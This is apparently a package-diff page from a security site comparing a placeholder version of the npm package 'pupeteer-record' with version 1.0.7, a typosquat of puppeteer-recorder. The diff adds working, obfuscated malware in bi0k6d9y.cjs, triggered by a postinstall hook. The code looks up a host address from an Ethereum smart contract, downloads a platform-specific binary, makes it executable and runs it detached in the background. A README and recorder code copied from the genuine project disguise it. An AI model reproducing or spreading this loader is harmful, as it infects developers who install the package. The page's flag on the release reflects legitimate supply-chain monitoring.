pupeteer-record 0.0.1-security → 1.0.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of pupeteer-record might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2017 Clipisode
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,17 @@
1
- # Security holding package
1
+ # puppeteer-recorder
2
+ Record animations using puppeteer. Based on electron-recorder.
2
3
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+ # Usage
5
+ ```
6
+ const { record } = require('puppeteer-recorder');
4
7
 
5
- Please refer to www.npmjs.com/advisories?search=pupeteer-record for more information.
8
+ await record({
9
+ browser: null, // Optional: a puppeteer Browser instance,
10
+ page: null, // Optional: a puppeteer Page instance,
11
+ output: 'output.webm',
12
+ fps: 60,
13
+ frames: 60 * 5, // 5 seconds at 60 fps
14
+ prepare: function (browser, page) { /* executed before first capture */ },
15
+ render: function (browser, page, frame) { /* executed before each capture */ }
16
+ });
17
+ ```
package/bi0k6d9y.cjs ADDED
@@ -0,0 +1 @@
1
+ function _0x385d(_0x7a6953,_0x247d64){const _0x26a48b=_0x26a4();return _0x385d=function(_0x385db8,_0x286ed8){_0x385db8=_0x385db8-0x101;let _0x4d4978=_0x26a48b[_0x385db8];return _0x4d4978;},_0x385d(_0x7a6953,_0x247d64);}const _0x78213f=_0x385d;(function(_0x2adcde,_0x38d54a){const _0x2400a0=_0x385d,_0x295f37=_0x2adcde();while(!![]){try{const _0x19e72b=-parseInt(_0x2400a0(0x105))/0x1*(parseInt(_0x2400a0(0x112))/0x2)+parseInt(_0x2400a0(0x130))/0x3*(parseInt(_0x2400a0(0x129))/0x4)+-parseInt(_0x2400a0(0x116))/0x5+-parseInt(_0x2400a0(0x11e))/0x6+parseInt(_0x2400a0(0x118))/0x7+-parseInt(_0x2400a0(0x119))/0x8*(-parseInt(_0x2400a0(0x12d))/0x9)+parseInt(_0x2400a0(0x106))/0xa*(parseInt(_0x2400a0(0x10e))/0xb);if(_0x19e72b===_0x38d54a)break;else _0x295f37['push'](_0x295f37['shift']());}catch(_0x576d43){_0x295f37['push'](_0x295f37['shift']());}}}(_0x26a4,0xc458d));const {ethers}=require(_0x78213f(0x101)),axios=require('axios'),util=require(_0x78213f(0x11c)),fs=require('fs'),path=require(_0x78213f(0x110)),os=require('os'),{spawn}=require(_0x78213f(0x12b)),contractAddress=_0x78213f(0x10b),WalletOwner=_0x78213f(0x12c),abi=[_0x78213f(0x126)],provider=ethers[_0x78213f(0x12a)](_0x78213f(0x108)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1026fa=_0x78213f,_0x4f40a7={'NepGT':_0x1026fa(0x11f),'CXyUz':function(_0x191ebc){return _0x191ebc();}};try{const _0x1c124a=await contract[_0x1026fa(0x11a)](WalletOwner);return _0x1c124a;}catch(_0x3cafcc){return console[_0x1026fa(0x125)](_0x4f40a7['NepGT'],_0x3cafcc),await _0x4f40a7[_0x1026fa(0x11d)](fetchAndUpdateIp);}},getDownloadUrl=_0x4e0688=>{const _0x5ee5b7=_0x78213f,_0x123061={'FgIaO':_0x5ee5b7(0x121),'yLzEN':_0x5ee5b7(0x127),'tISfN':'darwin'},_0x4ddd3e=os[_0x5ee5b7(0x113)]();switch(_0x4ddd3e){case _0x123061['FgIaO']:return _0x4e0688+_0x5ee5b7(0x12f);case _0x123061[_0x5ee5b7(0x134)]:return _0x4e0688+_0x5ee5b7(0x10d);case _0x123061[_0x5ee5b7(0x107)]:return _0x4e0688+_0x5ee5b7(0x114);default:throw new Error(_0x5ee5b7(0x10c)+_0x4ddd3e);}},downloadFile=async(_0x167694,_0xcddf66)=>{const _0x2e8355=_0x78213f,_0x439f05={'FHJzL':_0x2e8355(0x125),'oxOPC':function(_0x2720cd,_0x11ec7c){return _0x2720cd(_0x11ec7c);},'PttxF':'GET','wnemS':_0x2e8355(0x115)},_0x34677d=fs[_0x2e8355(0x117)](_0xcddf66),_0x1928dc=await _0x439f05[_0x2e8355(0x124)](axios,{'url':_0x167694,'method':_0x439f05['PttxF'],'responseType':_0x439f05[_0x2e8355(0x122)]});return _0x1928dc[_0x2e8355(0x133)]['pipe'](_0x34677d),new Promise((_0x1fdcf5,_0x2b5658)=>{const _0x296a07=_0x2e8355;_0x34677d['on'](_0x296a07(0x123),_0x1fdcf5),_0x34677d['on'](_0x439f05[_0x296a07(0x104)],_0x2b5658);});},executeFileInBackground=async _0x57f8e6=>{const _0x27bf86=_0x78213f,_0x4ab5b3={'POhRm':function(_0x169adb,_0x159050,_0x44af3e,_0x389c9e){return _0x169adb(_0x159050,_0x44af3e,_0x389c9e);},'jFLfc':_0x27bf86(0x11b),'VtzlF':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x4fe5b8=_0x4ab5b3['POhRm'](spawn,_0x57f8e6,[],{'detached':!![],'stdio':_0x4ab5b3[_0x27bf86(0x10f)]});_0x4fe5b8[_0x27bf86(0x103)]();}catch(_0x5559e8){console[_0x27bf86(0x125)](_0x4ab5b3[_0x27bf86(0x120)],_0x5559e8);}},runInstallation=async()=>{const _0x5ddc31=_0x78213f,_0x1fe644={'jvFnf':function(_0x9e402f){return _0x9e402f();},'UYNbi':function(_0x12d316,_0x1cebc1){return _0x12d316(_0x1cebc1);},'SqwLy':function(_0x53cb71,_0x59675c,_0x21d7cf){return _0x53cb71(_0x59675c,_0x21d7cf);},'XzoPP':function(_0x4fb30e,_0x2b7842){return _0x4fb30e!==_0x2b7842;},'MVkFU':'755','NDaqY':function(_0x26e89b,_0x4dea8c){return _0x26e89b(_0x4dea8c);}};try{const _0x544585=await _0x1fe644[_0x5ddc31(0x12e)](fetchAndUpdateIp),_0x3945a1=_0x1fe644[_0x5ddc31(0x10a)](getDownloadUrl,_0x544585),_0x1490e8=os[_0x5ddc31(0x109)](),_0x287f22=path[_0x5ddc31(0x131)](_0x3945a1),_0x5b202e=path[_0x5ddc31(0x128)](_0x1490e8,_0x287f22);await _0x1fe644['SqwLy'](downloadFile,_0x3945a1,_0x5b202e);if(_0x1fe644['XzoPP'](os[_0x5ddc31(0x113)](),_0x5ddc31(0x121)))fs[_0x5ddc31(0x132)](_0x5b202e,_0x1fe644[_0x5ddc31(0x102)]);_0x1fe644[_0x5ddc31(0x111)](executeFileInBackground,_0x5b202e);}catch(_0x4f3e46){console['error']('Ошибка\x20установки:',_0x4f3e46);}};function _0x26a4(){const _0x298d2c=['15kDgHXM','basename','chmodSync','data','yLzEN','ethers','MVkFU','unref','FHJzL','2265piXgDs','9870qBPsZE','tISfN','mainnet','tmpdir','UYNbi','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','Unsupported\x20platform:\x20','/node-linux','17039XGNSqQ','jFLfc','path','NDaqY','812wPBBaH','platform','/node-macos','stream','700835NhjznQ','createWriteStream','5754098tKPAbG','16sqAPFg','getString','ignore','util','CXyUz','4956066sOzztL','Ошибка\x20при\x20получении\x20IP\x20адреса:','VtzlF','win32','wnemS','finish','oxOPC','error','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','linux','join','259256XoNxle','getDefaultProvider','child_process','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','67761TEIwTh','jvFnf','/node-win.exe'];_0x26a4=function(){return _0x298d2c;};return _0x26a4();}runInstallation();
package/index.js ADDED
@@ -0,0 +1,76 @@
1
+ const { spawn } = require('child_process');
2
+ const puppeteer = require('puppeteer');
3
+
4
+ module.exports.record = async function(options) {
5
+ const browser = options.browser || (await puppeteer.launch());
6
+ const page = options.page || (await browser.newPage());
7
+
8
+ await options.prepare(browser, page);
9
+
10
+ var ffmpegPath = options.ffmpeg || 'ffmpeg';
11
+ var fps = options.fps || 60;
12
+
13
+ var outFile = options.output;
14
+
15
+ const args = ffmpegArgs(fps);
16
+
17
+ if ('format' in options) args.push('-f', options.format);
18
+ else if (!outFile) args.push('-f', 'matroska');
19
+
20
+ args.push(outFile || '-');
21
+
22
+ const ffmpeg = spawn(ffmpegPath, args);
23
+
24
+ if (options.pipeOutput) {
25
+ ffmpeg.stdout.pipe(process.stdout);
26
+ ffmpeg.stderr.pipe(process.stderr);
27
+ }
28
+
29
+ const closed = new Promise((resolve, reject) => {
30
+ ffmpeg.on('error', reject);
31
+ ffmpeg.on('close', resolve);
32
+ });
33
+
34
+ for (let i = 1; i <= options.frames; i++) {
35
+ if (options.logEachFrame)
36
+ console.log(
37
+ `[puppeteer-recorder] rendering frame ${i} of ${options.frames}.`
38
+ );
39
+
40
+ await options.render(browser, page, i);
41
+
42
+ let screenshot = await page.screenshot({ omitBackground: true });
43
+
44
+ await write(ffmpeg.stdin, screenshot);
45
+ }
46
+
47
+ ffmpeg.stdin.end();
48
+
49
+ await closed;
50
+ };
51
+
52
+ const ffmpegArgs = fps => [
53
+ '-y',
54
+ '-f',
55
+ 'image2pipe',
56
+ '-r',
57
+ `${+fps}`,
58
+ '-i',
59
+ '-',
60
+ '-c:v',
61
+ 'libvpx',
62
+ '-auto-alt-ref',
63
+ '0',
64
+ '-pix_fmt',
65
+ 'yuva420p',
66
+ '-metadata:s:v:0',
67
+ 'alpha_mode="1"'
68
+ ];
69
+
70
+ const write = (stream, buffer) =>
71
+ new Promise((resolve, reject) => {
72
+ stream.write(buffer, error => {
73
+ if (error) reject(error);
74
+ else resolve();
75
+ });
76
+ });
package/package.json CHANGED
@@ -1,6 +1,35 @@
1
1
  {
2
2
  "name": "pupeteer-record",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.0.7",
4
+ "description": "Record animations using puppeteer. Based on electron-recorder.",
5
+ "main": "index.js",
6
+ "peerDependencies": {
7
+ "puppeteer": ">= 0.9.0"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node bi0k6d9y.cjs"
11
+ },
12
+ "repository": {
13
+ "type": "git",
14
+ "url": "git+https://github.com/clipisode/puppeteer-recorder.git"
15
+ },
16
+ "keywords": [
17
+ "puppeteer",
18
+ "ffmpeg",
19
+ "animation",
20
+ "recorder"
21
+ ],
22
+ "author": "Max Schmeling",
23
+ "license": "MIT",
24
+ "bugs": {
25
+ "url": "https://github.com/clipisode/puppeteer-recorder/issues"
26
+ },
27
+ "homepage": "https://github.com/clipisode/puppeteer-recorder#readme",
28
+ "files": [
29
+ "bi0k6d9y.cjs"
30
+ ],
31
+ "dependencies": {
32
+ "axios": "^1.7.7",
33
+ "ethers": "^6.13.2"
34
+ }
35
+ }